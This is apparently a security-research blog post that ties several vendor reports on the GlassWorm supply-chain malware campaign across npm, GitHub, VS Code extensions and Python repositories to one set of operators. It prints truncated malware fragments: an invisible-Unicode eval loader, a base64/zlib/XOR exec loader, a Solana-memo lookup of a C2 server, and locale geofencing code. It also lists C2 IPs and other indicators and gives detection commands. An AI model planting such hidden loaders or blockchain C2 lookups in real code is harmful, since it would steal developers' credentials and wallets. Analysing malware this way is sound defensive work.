BLOG
GlassWorm Invades GitHub, NPM, VS Code, and Python
The latest Glassworm attack compromised 430+ GitHub projects by leveraging four different ecosystems
By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·
There's an ancient parable about blind men touching different parts of an elephant (trunk, tail, etc) and thinking they've all encountered totally separate creatures. In the malware universe, a "four arms, one monster" situation has occurred with Glassworm. Several vendors identified parts of the monster, but the OpenSourceMalware team is the one that realized it's all one creature.
On March 13-14, vendors released three separate reports about malware affecting npm packages, GitHub repos, VSCode extensions, and Python code.
Aikido Security warned "GlassWorm Returns" with a Unicode-based attack targeting 151+ GitHub repositories and npm packages with invisible character obfuscation.
Socket linked 72 malicious VSCode extensions in the Open-VSX marketplace to a "GlassWorm campaign."
Step Security revealed the "ForceMemo" campaign, which compromised hundreds of Python GitHub repositories via account takeover and force-push attacks.
We dove into all three and made a surprising discovery. When we decoded the NPM and GitHub payloads discovered by Aikido Security, we found the exact same Solana address hardcoded in the JavaScript:
const SOLANA_ADDRESS = "BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC";That address appears in all three vendor reports. This isn't a coincidence — it's the same operators running a coordinated quad-platform campaign across npm, GitHub, VSCode Marketplace, and Open-VSX. Combined, the three reports touch 433+ compromised repositories, packages, and extensions across four platforms. The researchers analyzed their portion of the elephant. But as it turns out, they were all looking at the same beast.
We have added all the threats highlighted in these three reports to the OpenSourcMalware platform and are tracking threat reports through the #glassworm tag. This campaign has a staggering 3,162 IoCs!
Why This Matters: Supply Chain as Attack Surface
This campaign demonstrates why supply chain attacks are the future of malware.
Traditional malware distribution:
Attacker → Email phishing → Individual victim
Attacker → Malicious website → Individual visitor
Attacker → USB drop → Individual finder
Impact: Dozens to hundreds of victimsSupply chain attack (GlassWorm):
Attacker → Compromise package/extension/repo → Thousands of developers
→ Developers use in projects → Millions of end users
→ Projects deployed to production → Billions of end users
Impact: Potentially millions of victimsAs Aikido noted in their report: "An attacker targeting a single npm package can affect thousands of projects instantly."
The pedronauck/reworm repository alone has 1,460 stars on GitHub. If just 10% of those users pulled the compromised commit, that's 146 infected developer machines. If each of those developers works on 5 projects, that's 730 potentially affected codebases. Multiply that by 433 compromised repositories, packages, and extensions.
The attack surface isn't individual machines anymore. It's the entire software supply chain.
The Infrastructure Evidence
When we first saw these new campaigns, we thought they looked similar to two DPRK campaigns we've been tracking: PolinRider and TasksJacker, with a combined 1,500+ malicious repositories. Both of those campaigns inject malicious payloads into legitimate GitHub repositories and use blockchain "etherhiding" C2 — where C2 infrastructure is embedded in blockchains, typically TRON, Aptos, and less frequently Solana.
We set out to understand the scope of this attack and whether it was the same threat actors we had been following.
This new campaign is probably Russian in origin — not DPRK.
When we cross-referenced the infrastructure from all three vendor reports, the overlaps were undeniable: yes, they're all the same threat actor. But they're not the same DPRK threat actors we've been tracking.
Several factors make this campaign distinct:
Russian geo-fencing: A clear indicator of a Russian operation — not necessarily state-run, but unofficially state-aligned.
Blockchain + traditional loaders: While part of the kill chain is hosted in the Solana blockchain, other stages use traditional loaders from servers with IP addresses. In contrast, the PolinRider threat actor uses multiple blockchain stages with no dependency on IP addresses or traditional hosting.
Payload: The campaign uses hidden Unicode characters, which is not a characteristic of the PolinRider payload.
Commit modification method: While both PolinRider and this GlassWorm campaign append malicious payloads to existing GitHub repos, they use different methods — observable when forensically examining the modified commits.
No DPRK payloads: PolinRider payloads typically follow the standard Beavertail → InvisibleFerret/OtterCookie format. This GlassWorm campaign does not use any of the DPRK malware variants.
Here's the evidence in detail.
Shared Blockchain Address
The same Solana address appears in all three vendor reports:
Socket's report (VSCode extensions):
Solana Address: BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC
Step Security's report (Python GitHub):
> "Solana C2 Address: BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC"
Aikido's report (npm/GitHub):
> "Historical payload behavior: Previous iterations delivered second-stage scripts via Solana blockchain, capable of stealing tokens, credentials, and secrets."
Shared IP Addresses
All three reports reference 45.32.151.157, and two mention 217.69.0.159. The same servers are being used across all three campaigns.
From Step Security (Python campaign):
45.32.151.157 (Vultr)
217.69.0.159 (Russian hosting)
45.76.44.240
From our analysis (npm and GitHub campaign):
45.32.151.157
217.69.0.159
45.76.44.240
From Socket (VS Code extensions):
45.32.150.251
45.32.151.157
70.34.242.255
You can see how the many GitHub repos are connected on the OpenSourceMalware Threat Graph:
Synchronized Timeline
The campaigns didn't just overlap — they were coordinated. The operators launched different vectors at different times, ramped them up in early March 2026, then shut down the npm/VSCode vectors on March 13 while keeping Python active.
October 2025 Socket: VSCode extensions first identified
November 27, 2025 Step Security: Earliest Solana C2 activity
OpenSourceMalware analysis: npm Campaign A begins (same date)
March 3-9, 2026 Aikido: 151+ GitHub repos compromised
March 8, 2026 Step Security: First Python injections
March 12, 2026 Aikido: npm package @aifabrix/miso-client compromised
March 12, 2026 Aikido: VSCode extension quartz.quartz-markdown-editor compromised
March 13, 2026 OpenSourceMalware analysis: npm/VSCode campaigns shut down
March 14, 2026 Step Security: Python campaign still activeEcosystem-Specific Techniques, Unified Payload
What makes this campaign particularly sophisticated is how the operators tailored their obfuscation to each ecosystem while maintaining the same final payload.
npm Packages & GitHub Repos (Aikido)
Obfuscation: Invisible Unicode characters (U+FE00–U+FE0F, U+E0100–U+E01EF)
// Looks empty, but contains 8KB of malware
const s=v=>[...v].map(w=>(w=w.codePointAt(0),
w>=0xFE00&&w<=0xFE0F?w-0xFE00:
w>=0xE0100&&w<=0xE01EF?w-0xE0100+16:null)
).filter(n=>n!==null);
eval(Buffer.from(s(`󠅋󠄞󠄞󠄞󠄘󠅖󠅥...`)).toString('utf-8'));The malicious code is literally invisible in code review. Here's what it looks like in a GitHub diff:
+ const s=v=>[...v].map(w=>(w=w.codePointAt(0)...
+ eval(Buffer.from(s(``)).toString('utf-8'));See that empty string between the backticks? It contains thousands of invisible Unicode variation selectors encoding a complete malware payload. Your eyes can't see it. Most code review tools can't see it. But Node.js executes it.
Affected projects (per Aikido):
pedronauck/reworm (1,460 stars)
anomalyco/opencode-bench (56 stars)
doczjs/docz-plugin-css (39 stars)
151+ total GitHub repositories
npm:
@aifabrix/miso-client,@iflow-mcp/watercrawl-watercrawl-mcp
VSCode Extensions (Socket)
Obfuscation: Identical Unicode technique
According to Socket's reporting on the Open-VSX marketplace, 72 malicious extensions were identified using the same GlassWorm infrastructure. Our analysis of one of these extensions (ScssToCss/preinstall.js) revealed:
// Byte-for-byte identical to npm payloads
const s=v=>[...v].map(w=>(w=w.codePointAt(0),w>=0xFE00&&w<=0xFE0F?w-0xFE00...
eval(Buffer.from(s(`󠅋󠄞󠄞...`)).toString('utf-8'));The payload decoder is identical to the npm version — same code, same invisible characters, same execution pattern. The only difference was the delivery mechanism: VSCode marketplace instead of npm registry.
Impact: Developers who install these extensions in their IDE give the malware:
Access to all open projects
Ability to read source code
Credential access (git, npm, etc.)
Long-term persistence
Python GitHub Repos (Step Security)
Obfuscation: base64 → zlib → XOR (key: 134)
For Python, the operators adapted their technique:
# Marker variable (IOC)
lzcdrtfxyqiplpd = "eJy...very long base64 string..."
# Deobfuscation chain
aqgqzxkfjzbdnhz = __import__('base64')
wogyjaaijwqbpxe = __import__('zlib')
# XOR decryption with key 134
ycqljtcxxkyiplo = bytes([byte ^ 134 for byte in decompressed_data])
# Execute
exec(compile(ycqljtcxxkyiplo, '<>', 'exec'))Attack method (per Step Security):
Compromise developer GitHub account
Take latest legitimate commit
Rebase with malicious Python code appended
Force-push to replace history
Preserve original commit message and author
This is stealthier than a pull request. The commit looks legitimate. The author information is correct. Only the committer date and committer email ("null") reveal the tampering.
Affected projects (per Step Security):
amirasaran/django-restful-admin (70 stars)
BierOne/ood_coverage (34 stars)
biodatlab/siriraj-assist
Hundreds more, with some organizations losing 6+ repos
The platform-specific obfuscation shows sophistication — but here's the kicker: all three platforms execute the same final payload.
The Final Payload: Follow the Node.js
Despite the different obfuscation techniques, all attack vectors converge on the same execution chain.
Step 1: Query Solana Blockchain
// JavaScript (npm/VSCode) or Python (GitHub) — both do this
const SOLANA_RPC = "https://api.mainnet-beta.solana.com";
const C2_ADDRESS = "BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC";
// Poll blockchain for transaction memos containing C2 URLs
const memo = await getLatestMemo(C2_ADDRESS);
const c2Url = JSON.parse(atob(memo)).link;
// Returns: http://45.32.151.157/[base64_path]Step 2: Download Node.js
Here's where it gets interesting. Even the Python campaign downloads Node.js:
# From Step Security report
# Downloads Node.js v22.9.0 from nodejs.org
# Cross-platform: Windows/macOS/Linux, x64/ARMWhy would a Python payload download Node.js? Because the final infostealer is written in JavaScript. The operators maintain one infostealer codebase and execute it via Node.js on all platforms.
Step 3: Execute JavaScript Infostealer
// Encrypted payload file: i.js
// Targets:
// - Browser cryptocurrency wallet extensions
// - Stored credentials
// - SSH keys
// - Session tokensAll three platforms — npm, VSCode, Python — execute the same Node.js-based infostealer.
Why Blockchain C2 is Significant
Using Solana blockchain as a command-and-control channel is not just novel — it's a paradigm shift in malware operations.
Traditional C2 vs. Blockchain C2
Traditional C2:
Attacker runs servers (e.g.,
evil.com)Victims connect to servers for commands
Defenders can sinkhole/seize the domain
Single point of failure
Blockchain C2 (GlassWorm):
Attacker posts commands to public blockchain
Victims read commands from blockchain
Blockchain is decentralized and immutable
Cannot be seized or taken down
How It Works
The attacker controls this Solana address:
BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SCEvery time they want to update the C2 server, they send a transaction with a memo:
{
"link": "http://217.69.0.159/dq1IMEteQ4AbO3daeYGXZw=="
}The malware on infected machines polls this address every 5 seconds. When it sees a new memo, it fetches the payload from that URL.
From Step Security's blockchain analysis: 50 transactions, 49 C2 updates, spanning November 27, 2025 to March 13, 2026.
This gives the attackers:
✅ Censorship resistance (can't take down blockchain)
✅ Anonymity (transactions via cryptocurrency)
✅ Permanent record (blockchain is immutable)
✅ Decentralization (9 Solana RPC fallback endpoints)
The blockchain has become their bulletproof command infrastructure.
Operational Security: Russian Geofencing
All three campaigns share an unusual characteristic: they avoid Russian systems.
From our npm payload analysis:
function _isRussianSystem() {
const locale = Intl.DateTimeFormat().resolvedOptions().locale;
if (locale.includes('ru-RU')) return true;
const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;
if (timezone.includes('Europe/Moscow')) return true;
// Additional keyboard layout checks...
return false;
}
if (_isRussianSystem()) {
process.exit(0); // Exit without executing
}From Step Security's report:
> "Russian Locale Check: Execution skips on Russian-language systems, indicating Eastern European cybercriminal origin. Code comments appear in Russian."
This operational security pattern is a strong attribution indicator:
✅ Russian-speaking operators
✅ Deliberately avoiding domestic targeting
✅ Typical of Eastern European cybercrime groups
✅ Reduces risk of prosecution in operator's home country
The Evidence Wall: Unified IOCs
Blockchain Identifiers
Solana C2: BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC ← All platforms
Funding Wallet: G2YxRa6wt1qePMwfJzdXZG62ej4qaTC7YURzuh2Lwd3t ← Step SecurityInfrastructure (12 Unique IPs)
Confirmed Shared (npm + Python):
45.32.151.157 ← CRITICAL OVERLAP
217.69.0.159 ← CRITICAL OVERLAP
45.76.44.240 ← CRITICAL OVERLAP
Python-Specific (Step Security):
45.32.150.97 (same Vultr /24 subnet as .151.157)
217.69.11.57
217.69.11.99
npm-Specific (Our Analysis):
217.69.10.135
149.28.24.100
66.42.56.190
207.246.77.75
140.82.60.183
155.138.237.76
95.179.189.100Code Signatures
JavaScript (npm/VSCode) — per Aikido:
// Unicode decoder fingerprint
w>=0xFE00&&w<=0xFE0F?w-0xFE00:w>=0xE0100&&w<=0xE01EF?w-0xE0100+16
// AES encryption keys (from our analysis)
Key: zetqHyfDfod88zloncfnOaS9gGs90ONX
IV: a041fdaa0521fb5c3e26b217aaf24115Python — per Step Security:
# Marker variable (unique identifier)
lzcdrtfxyqiplpd = "eJy..."
# XOR decryption key
134
# Committer email fingerprint
"null"Behavioral Indicators (All Platforms)
✅ Solana RPC endpoint queries
✅ Node.js v22.9.0 download from nodejs.org
✅ Russian geofencing (skips execution on Russian systems)
✅ BitTorrent DHT on port 10000/UDP
✅ Persistence via
~/init.json(Python) or other mechanisms
The Attribution Challenge
Without access to the deobfuscated payloads, it's nearly impossible to prove these are the same campaign:
Different obfuscation techniques (Unicode vs. base64/zlib/XOR)
Different file types (JavaScript vs. Python)
Different platforms (npm vs. VSCode vs. GitHub)
Different delivery methods (package upload vs. extension upload vs. force-push)
We were able to confirm correlation when we:
Deobfuscated the npm payload
Extracted the Solana blockchain address
Compared it to Step Security's findings
Cross-referenced the infrastructure
Campaign Metrics
Affected Platforms & Projects
Platform
Count
Source
GitHub Python Repos
200+
Step Security
GitHub JS/TS Repos
151+
Aikido
VSCode Extensions
72
Socket
npm Packages
10+
Aikido + Our Analysis
Total Affected
433+
Combined
At 433 affected components, this campaign is large — but not as expansive as the PolinRider campaign (700+ GitHub repos) or TasksJacker (500+ GitHub repos and counting).
Scale
433+ compromised repositories/packages/extensions
Unknown download/install counts
Multiple high-profile projects (1,460 stars on pedronauck/reworm)
Organizations with 6+ repos compromised (wecode-bootcamp-korea, HydroRoll-Team, BierOne)
Timeline Span
Duration: October 2025 - March 2026+ (5+ months)
Active Development: November 27, 2025 - March 13, 2026 (107 days)
Blockchain Transactions: 50+ C2 updates
Infrastructure: 12 unique C2 servers
Status: Python campaign STILL ACTIVE (March 14, 2026)Detection & Response
For Developers: Immediate Actions
1. Check for Python marker variable (Step Security's IOC):
# Search all Python repos
grep -r "lzcdrtfxyqiplpd" .
# GitHub code search
https://github.com/search?q=lzcdrtfxyqiplpd&type=code2. Check for Unicode obfuscation (Aikido's IOC):
# Search for invisible Unicode characters
grep -r #039;\uFE00' . 2>/dev/null
grep -r "w>=0xFE00" .
# Look for the Solana address
grep -r "BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC" .3. Review git history for force-pushes (Step Security's method):
git reflog --all
git log --all --committer="null"
git log --all --format="%cn|%ce|%cd" | grep "null"4. Audit VSCode extensions (Socket's domain):
code --list-extensions
# Look for extensions installed Oct 2025 - Mar 2026
# Remove and reinstall from trusted sources5. Check for persistence:
# Python campaign persistence
ls -la ~/init.json
rm -f ~/init.json # If found
# Check for unexpected Node.js installations
find / -name "node" -executable 2>/dev/null | grep -v "/usr/bin"A Note on Intelligence Sharing
This campaign highlights an opportunity for the security community to work together more effectively, and not keep research in proprietary silos. When vendors share intelligence in real-time across ecosystems—such as npm alerting PyPI about novel C2 techniques, VSCode Marketplace sharing obfuscation patterns with package registries, and GitHub coordinating with extension marketplaces about compromised accounts—we create a stronger collective defense. Cross-platform behavioral detection can help identify malicious patterns like blockchain queries from unexpected contexts, unusual runtime downloads, or invisible Unicode obfuscation across all languages. When we pool our insights and coordinate our responses, we build a more resilient software supply chain that benefits everyone—because attackers don't respect platform boundaries, and our defenses work best when we collaborate across them.
The emphasis must shift from individual vendors competing to a unified defense posture where shared threat intelligence protects the entire software supply chain. As this campaign proves, attackers don't respect platform boundaries — and neither should our defenses.
Acknowledgments
Aikido Security for identifying the Unicode obfuscation technique and documenting 151+ affected GitHub repositories.
Socket for tracking 72 malicious VSCode extensions and connecting them to the GlassWorm campaign.
Step Security for their comprehensive ForceMemo analysis, blockchain forensics, and Python ecosystem coverage.
Without their independent research, this campaign would still be operating undetected. This post simply connects the dots they illuminated.
Aikido Report: GlassWorm Returns: Unicode Attack on GitHub, npm, VSCode
Socket Report: 72 Malicious Open VSX Extensions Linked to GlassWorm Campaign
Step Security Report: ForceMemo: Hundreds of GitHub Python Repos Compromised
Solana Blockchain Explorer: View C2 Address Transactions
This blog post is based on independent analysis of publicly available information and deobfuscated malware samples. All IOCs and technical details have been verified through primary source analysis. The campaign is ongoing — check for updates.